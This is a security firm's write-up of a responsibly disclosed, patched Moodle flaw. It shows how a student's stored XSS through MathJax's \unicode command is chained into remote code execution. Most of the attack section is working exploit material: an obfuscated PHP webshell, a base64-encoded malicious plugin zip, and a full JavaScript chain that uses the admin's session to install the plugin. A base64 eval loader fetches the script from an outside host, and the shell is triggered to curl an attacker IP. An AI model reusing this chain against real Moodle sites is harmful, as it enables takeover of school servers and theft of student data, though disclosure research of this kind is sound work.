This is part of Cube01 researches.

Hi all,

In this article we will cover a vulnerability that we found last month and reported it to the Moodle Security team and they patched it. However, it is a very interesting technique to exploit XSS beyond the boring alert box.

Introduction

What is Moodle anyway?

Moodle is a Learning Platform or course management system (CMS) - a free Open Source software package designed to help educators create effective online courses based on sound pedagogical principles. You can download and use it on any computer you have handy (including webhosts), yet it can scale from a single-teacher site to a 200,000-student University. Moodle has a large and diverse user community with over 100,000 sites registered worldwide speaking over 140 languages in every country there is. - Moodle.org

Due to the current COVID-19 many universities started using Moodle to support their e-learning and to deliver their educational content to students at home. We saw a couple of Iraqi universities started using the platform and that gave us the motivation to start looking for interesting stuff. Since other hackers may take advantage of the lack of monitoring and start attacking students and universities in this time it is part of our ethical job to do our share of supporting the world in this hardship. Take a look at the platform statistics.

moodle

It is notoriously obvious that Moodle is a popular open-source software and that attracts the eyes of cybercriminals and script kiddies. Correspondingly, a lot of open source contributors are working on the project.

Technical Details

We used the Moodle sandbox demo to understand how the platform works and did some fuzzing while browsing the demo. The first thing to remember, is to check the roles model of the platform to have a better understanding of each role’s privileges. After that we went deeper with the downloading the latest version of the project. We decided to look at security issues with the least privilege role (student). The student role has very limited access and can do only a couple of actions with filtered content.

First, we scanned the source code for obvious issues but to no avail, as we already said the project is very mature and protected.

One thing we focused on during this phase is finding any kind of privileges escalation. We were in the middle of that until we found another interesting input, which is the Description WYSIWYG editor. The downloaded version didn’t show it up, but the Moodle sandbox demo did! We give it another look and it appeared that:

To prevent misuse by spammers, profile descriptions of users who are not yet enrolled in any course are hidden. New users must enroll in at least one course before they can add a profile description.

So we created a course and let the student account join it. And went to the following URL:

http://127.0.0.1/moodle/user/edit.php?id=3&returnto=profile

moodle

We tried every trick in the book to create a stored XSS but nothing worked until I wanted to read more about the Moodle plugin system and found that it uses Mathjax It isn’t showing up but if you create a math equation with the following format: $$ x=1 $$ it will get rendered to:

moodle

Based on SecurityMB research that any MathJax version <2.7.4 is vulnerable to XSS, with this in mind we found out that MathJax was turned on by default and the version that Moodle uses is 2.7.2!

So with known attack vector ($$ \unicode{<img src=1 onerror=alert(1)>} $$) from the previous research we were able to create a stored XSS in Moodle!

moodle

Now we have a stored XSS in the system! we can trick the admin to visit our profile and gets XSSed!

However, the boring alert box was not enough for this adventure. We wanted to take it to the next level.

From XSS to RCE: beyond the alert box

Since we have a stored DOM XSS now we can steal the cookie, but there is an option in Moodle to use HTTPonly cookie so we can’t get the admin cookie. Moreover, universities set the path /admin to whitelist IP addresses only. What we will do now?

While surfing the web I found this attack vector that needs an Admin user account to execute PHP commands and upload shell on Moodle instance, so we can create CSRF to do that, right?

To upload a Moodle plugin it has to meet the rules which we take a short time before getting into it.

There are multiple stages before you can upload a plugin so it isn’t a simple CSRF page. We need to create a file upload CSRF and 2 steps after the upload CSRF to execute our shell.

As you can see there is an exploit in Ruby but it is different from our attack vector, here are the steps that we followed during writing our exploit:

  • Create version.php and /lang/en/block_rce.phpfiles with the following content:

block_rce.php with @terjanq shell:

<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);

version.php

<?php 
$plugin->version = 2020051300;
$plugin->component = 'block_rce';
  • Zip the 2 files to create rce.zip
  • We should change the rce.zip file from binary form to base64, we used this code:
<script>
function onFileLoad(elementId, event) {
    document.getElementById(elementId).innerText = event.target.result;
}
function onChooseFile(event, onLoadFileHandler) {
    let input = event.target;
    let file = input.files[0];
    let fr = new FileReader();
    fr.onload = onLoadFileHandler;
    var fileContent = fr.readAsDataURL(file);
}
</script>

<input type='file' onchange='onChooseFile(event, onFileLoad.bind(this, "contents"))' />
<p id="contents"></p>
<!-- 
rce.zip to base64 

data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA7AQAAAAA=

-->
  • Writing the full exploit:
const URL = "http://127.0.0.1/moodle/"; // Change this to your target URL 
  fetch(URL + "admin/tool/installaddon/index.php", {
    credentials: "include",
  })
    .then((res) => {
      return res.text();
    })
    .then((data) => {
      let sesskey = data.split('"sesskey":"')[1].split('"')[0];
      let itemid = data.split("amp;itemid=")[1].split("&")[0];
      let author = data.split('title="View profile">')[1].split("<")[0];
      let clientid = data.split('client_id":"')[1].split('"')[0];
      // rce.zip 
      let url =
      "data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA7AQAAAAA=";
      fetch(url)
        .then((res) => res.blob())
        .then((blob) => {
          const file = new File([blob], "rce.zip", {
            type: "application/x-zip-compressed",
          });

          myFormData = new FormData();
          myFormData.append("title", "");
          myFormData.append("author", author);
          myFormData.append("license", "allrightsreserved");
          myFormData.append("itemid", itemid);
          myFormData.append("accepted_types[]", ".zip");
          myFormData.append("repo_id", 4);
          myFormData.append("p", "");
          myFormData.append("page", "");
          myFormData.append("env", "filepicker");
          myFormData.append("sesskey", sesskey);
          myFormData.append("client_id", clientid);
          myFormData.append("maxbytes", -1);
          myFormData.append("areamaxbytes", -1);
          myFormData.append("ctx_id", 1);
          myFormData.append("savepath", "/");
          myFormData.append("repo_upload_file", file, "rce.zip");

          fetch(
            URL + "repository/repository_ajax.php?action=upload",
            {
              method: "post",
              body: myFormData,
              credentials: "include",
            }
          )
            .then((res) => {
              return res.text();
            })
            .then((res) => {
              let zipFile = res.split("draft\\/")[1].split("\\/")[0];
              myFormData = new FormData();
              myFormData.append("sesskey", sesskey);
              myFormData.append(
                "_qf__tool_installaddon_installfromzip_form",
                1
              );
              myFormData.append("mform_showmore_id_general", 1);
              myFormData.append("mform_isexpanded_id_general", 1);
              myFormData.append("zipfile", zipFile);
              myFormData.append("plugintype", "block");
              myFormData.append("rootdir", "");
              myFormData.append(
                "submitbutton",
                "Install+plugin+from+the+ZIP+file"
              );

              fetch(
                URL + "admin/tool/installaddon/index.php",
                {
                  method: "post",
                  body: myFormData,
                  credentials: "include",
                }
              )
                .then((res) => {
                  return res.text();
                })
                .then((res) => {
               //   debugger;
                  let installzipstorage = res
                    .split('installzipstorage" value="')[1]
                    .split('"')[0];

                  myFormData = new FormData();
                  myFormData.append("installzipcomponent", "block_rce");
                  myFormData.append("installzipstorage", installzipstorage);
                  myFormData.append("installzipconfirm", 1);
                  myFormData.append("sesskey", sesskey);

                  fetch(
                    URL + "admin/tool/installaddon/index.php",
                    {
                      method: "post",
                      body: myFormData,
                      credentials: "include",
                    }
                  ).then(() => {
                    fetch(
                      URL + "blocks/rce/lang/en/block_rce.php?_=system&__=curl%20http://192.168.153.138:1234/"
                    );
                  });
                });
            });
        });
    });
  • Upload this exploit to a cross-site host http://sandbox.ahussam.me/rce_moodle.js

  • Write the trigger MathJax payload:

$$   \unicode{<img src='x' onerror='eval(`eval(atob("dmFyIG5ld1NjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyBuZXdTY3JpcHQuc3JjID0gImh0dHA6Ly9zYW5kYm94LmFodXNzYW0ubWUvcmNlX21vb2RsZS5qcyI7IG1haW5jb250ZW50LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7"))`)'>} $$
  • Update the profile description with the previous payload.

  • Send the URL the Admin user and listen on port 1234

  • When the admin opens the URL the shell gets uploaded and you get a curl connection

moodle

We reported this finding to the Moodle team and they patched it and they were very responsive and friendly during the process.

What now?

If you think your site/app/network are secure and want to make sure about that then

give us a call contact@cube01.io